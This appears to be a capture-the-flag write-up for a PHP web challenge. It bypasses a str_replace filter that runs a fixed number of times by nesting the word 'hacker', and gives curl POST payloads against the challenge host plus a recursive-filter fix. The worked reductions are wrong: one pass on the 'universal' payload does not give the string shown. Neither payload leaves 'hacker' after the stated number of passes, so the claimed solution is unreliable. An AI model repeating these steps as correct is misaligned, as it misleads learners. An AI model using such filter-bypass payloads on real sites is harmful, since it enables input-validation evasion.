FlagBox
FlagBox
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Base64 obfuscation analysis, Nested string bypass for str_replace filter, Session-dependent filter behavior understanding
Summary
Task: Bypass str_replace filter to submit the word "hacker". Solution: Use nested string technique where inner occurrences are removed to form the target word after fixed number of filter applications.
FlagBox — hackerlab.pro
Description
В коробке есть подарок, но получить его, видимо, будет непросто (There's a gift in the box, but getting it won't be easy)
URL: http://62.173.140.174:16039/
Analysis
Source Code
php read-only • copy allowed<?php session_start(); if (!isset($_SESSION['PHPSESSID'])) { session_regenerate_id(true); $_SESSION['PHPSESSID'] = session_id(); } if ($_SESSION['PHPSESSID'] !== session_id()) { session_regenerate_id(true); $_SESSION['PHPSESSID'] = session_id(); } if (isset($_POST['word']) && !empty($_POST['word'])) { $p0=$_POST[base64_decode('d29yZA==')]; // 'word' $e1=zerofunc001(); $x2=(zerofunc002($e1))?2:3; for($d3=0;$d3<$x2;$d3++) { $p0=str_replace(base64_decode('aGFja2Vy'),'',$p0); // 'hacker' } $word = $p0; } function zerofunc001() { if (session_status() == PHP_SESSION_NONE) { session_start(); } $sessionId = session_id(); $pattern = '/[0-9]/'; preg_match_all($pattern, $sessionId, $matches); return count($matches[0]); } function zerofunc002($number) { return $number % 2 == 0; } ?> ... <?php $flag = "CODEBY{f4k3_fl4g}"; if (isset($word)) { if ($word == 'hacker') $output=$flag; else $output="Something went wrong"; echo " <h3>$output</h3>"; } ?>
Deobfuscation
-
Base64 strings:
d29yZA==→wordaGFja2Vy→hacker
-
Filtering logic:
zerofunc001()— counts the number of digits in the session IDzerofunc002()— checks if the number is even- If the digit count is even → filter is applied 2 times
- If odd → filter is applied 3 times
-
Win condition:
- After all filtering,
$wordmust equal'hacker'
- After all filtering,
Vulnerability
The filter str_replace('hacker', '', $input) is applied a fixed number of times (2 or 3), not recursively until complete removal. This allows using nested strings that form the target word after inner occurrences are removed.
Solution
Building the Payload
For 2 removals:
hhackerackhackerer
↓ (1st removal of 'hacker')
hacker
For 3 removals (universal):
hhhackerackhackererackhhackerackhackererer
↓ (1st removal)
hhackerackhackererackhhackerackhackerer
↓ (2nd removal)
hackeracker
↓ (3rd removal)
hacker
Exploit
bash read-only • copy allowed# Universal payload for 2-3 removals curl -X POST "http://62.173.140.174:16039/" \ -d "word=hhhackerackhackererackhhackerackhackererer"
Alternative Approach (for 2 removals)
bash read-only • copy allowedcurl -X POST "http://62.173.140.174:16039/" \ -d "word=hhackerackhackerer"
Defense
Proper filter implementation:
php read-only • copy allowed// Recursive removal until complete elimination while (strpos($input, 'hacker') !== false) { $input = str_replace('hacker', '', $input); } // Or check after filtering if (preg_match('/hacker/i', $input)) { die('Blocked'); }